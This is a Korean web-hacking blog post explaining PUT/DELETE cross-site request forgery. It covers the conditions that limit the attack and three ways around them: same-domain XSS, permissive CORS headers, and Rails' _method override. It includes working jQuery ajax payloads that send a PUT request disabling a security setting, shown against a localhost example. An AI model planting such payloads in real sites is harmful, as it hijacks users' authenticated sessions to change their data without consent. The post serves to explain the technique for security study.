PUT/DELETE CSRF(Cross-site Request Forgrey) Attack
오늘은 웹 해킹 기법 중 핫한 CSRF에 대한 이야기를 좀 할까합니다. XSS와 함께 정말 자주 잡게되는 취약점이고 사용 방향에 따라 영향력도 높을 수도 있는 멋진 친구이지요. 오늘은 아주 희소하지만 PUT/DELETE 등 GET/POST가 아닌 CSRF에 대한 이야기를 할까 합니다.
Why?
이미 Title에서도 보셨겠지만 CSRF를 잡을때 항상 심기를 건드리는 PUT/DELETE CSRF입니다. 이 친구들은 Token이나 Referer 체크가 없는 경우가 많지만 실제로 공격코드로 구현하기 위해선 필요한 조건들이 있어 골치아프게 하네요.
PUT/DELETE CSRF?
아래 요청을 보시면 간단한 HTTP PUT Request 입니다. 임의로 내용을 쓴거라 좀 이상할 수 있지만.. 그래도 예시로는 막 작성한게 최고지요.
PUT /api/add/0001 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) ..snip..
Connection: keep-alive
Content-Length: 0
security=false
api에서 무언가를 추가하는 그런 PUT이라고 가정합니다. (설정 상 보안설정 해제)
일반적인 GET, POST CSRF라면 img 태그나 XSS 등을 활용하여 CSRF 코드를 심을 수 있으나. 웹에서 제한하는 조건때문에 아쉽게도 간단한 방법으로는 PUT/DELETE CSRF를 사용할 수 없습니다.
PUT/DELETE CSRF 조건
일단 조건에 대해 몇가지 알아볼까요?
- A) HTML에서 전송 가능한 요청은 GET,POST 밖에 없다.
위 내용처럼 말 그대로 HTML Form을 통해 전송하는 것은 GET과 POST밖에 할 수 없습니다. 그래서 일반적인 CSRF 형태로는 공격이 어렵지요.
- B) Jqeury(Ajax) 등을 활용하기 위해선 CORS를 준수하여야 한다.
Ajax 같이 js를 이용하여 전송할 때 한가지 규칙이 있습니다. 로컬 도메인으로만 전송이 가능하다는 건데요, 요건 아래 우회에서 다시 설명드릴게요.
- C) Flash,Silverlight,Applet 등을 이용한 전송 시 각각 acceess에 대한 xml 조건 통과가 필요(CORS랑 비슷)
물론 Activex, flash 등을 이용하면 가능은 합니다. 그러나 이 방법은 조건이 까다롭고 사용자가 해당 어플리케이션을 사용한다는 가정이 필요하기에 사실상 어렵습니다.
Silverlight의 경우에는 clientaccesspolicy.xml
, Flash의 경우는 crossdomain.xml
등등 CORS와 유사한 역할을 하는 xml들의 설정이 잘못되어 있어야 가능합니다. 이제 본격적으로 PUT/DELETE CSRF를 사용하기 위한 방법에 대해 보겠습니다.
Case study
Same Domain
같은 도메인에 XSS와 같이 스크립트 삽입 포인트가 있다면 Ajax를 통해 CSRF 성공시킬 수 있습니다.
<script>
//JQuery preload (optional)
(function(){
var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js';
(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);
})();
$.ajax({
url: "/api/add/0001",
type: "put",
data:
{"security":"false"}
,
headers: {
"Accept":"application/json, text/plain, */*",
"User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0",
"Referer":"321654",
"Connection":"keep-alive",
"Accept-Language":"en-US,en;q=0.5",
"Accept-Encoding":"gzip, deflate"
},
success: function (data) {
console.info(data);
}
});
</script>
Weak CORS
은근히 자주보이는 보안 취약점입니다. CORS가 잘못 설정되어 있으면 Cross-domain에서도 요청을 줄 수 있기 때문에 이 때 PUT/DELETE CSRF가 성립될 수 있죠. Web Response 에 ACAO 헤더가 공격자가 의도할 수 있는 도메인인 경우, 또는 파일 업로드가 가능한 경우 CSRF가 가능합니다. 이는 JSON Hijacking과 동일합니다.
HTTP/1.1 200 OK
..
access-control-allow-credentials: true
access-control-allow-origin: *
..
이때 위에 사용했던 공격코드로 원격지 도메인에 CSRF를 요청할 수 있게되지요.
<script>
//JQuery preload (optional)
(function(){
var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js';
(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);
})();
$.ajax({
url: "http://127.0.0.1/api/add/0001",
type: "put",
data:
{"security":"false"}
,
headers: {
"Accept":"application/json, text/plain, */*",
"User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0",
"Referer":"321654",
"Connection":"keep-alive",
"Accept-Language":"en-US,en;q=0.5",
"Accept-Encoding":"gzip, deflate"
},
success: function (data) {
console.info(data);
}
});
</script>
Rails _method
이 방법은 딱 Ruby on Rails에서만 가능한 방법입니다. Rails로 제작된 서버에 CSRF 공격코드가 올라갈 수 있다면 PUT/DELETE도 가능하단 이야기지요.
<form method="post" ...>
<input type="hidden" name="_method" value="put" />
...
이런식으로 코드가 들어가게 된다면 가능합니다. 다만 이것은 server-side에서 unwrapping이 필요합니다. 참고로 아래는 w3에 Form PUT/DELETE 관련 메일링 내용인데 봐보시면 재미있습니다.
- https://lists.w3.org/Archives/Public/public-html-ig-ko/2010Nov/0039.html
Conclusion
항상 아쉬움이 많이 남는 공격입니다. CSRF랑 찾는 방법은 똑같지만 재현이 어렵고, 조건도 많이 붙기 때문에 난감하네요. 다만 지속적인 연구는 새로운 방법을 찾아내기 마련입니다. 마치 XXN과 같이 브라우저 필터링을 풀다던가 기존에 보안 방법을 우회하는 기술말이죠.
아직 PUT/DELETE를 사용하는 서버는 많습니다. 파일업로드, 삭제 이외에도 기능적인 면으로도 많이 사용되는 Method이고 이 또한 연구한다면 언젠가는 CSRF를 성공시킬 수 있는 마스터키 같은 방법이 나타날수도 있겠지요 :D